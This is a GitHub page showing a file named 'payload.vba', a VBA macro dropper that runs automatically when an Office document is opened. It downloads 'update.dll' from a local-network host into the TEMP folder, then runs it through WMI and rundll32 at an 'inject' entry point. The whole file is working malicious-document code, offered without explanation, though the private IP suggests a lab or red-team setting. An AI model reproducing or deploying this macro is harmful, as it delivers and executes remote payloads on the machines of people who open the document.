-
Notifications
You must be signed in to change notification settings - Fork 0
/
payload.vba
30 lines (24 loc) · 1 KB
/
payload.vba
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
Sub downloadFile(url As String, fileOutPath As String)
Dim WinHttpReq As Object, oStream As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", url, False
WinHttpReq.Send
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.ResponseBody
oStream.SaveToFile fileOutPath, 2
oStream.Close
End If
End Sub
Sub Document_Open()
Dim filepath As String
filepath = Environ("TEMP") & "\update.dll"
downloadFile "http://192.168.56.1:8080/update.dll", filepath
Set objWMIService = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")
Set objStartup = objWMIService.Get("Win32_ProcessStartup")
Set objConfig = objStartup.SpawnInstance_
Set objProcess = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = objProcess.Create("rundll32.exe " & filepath & ",inject", Null, objConfig, intProcessID)
End Sub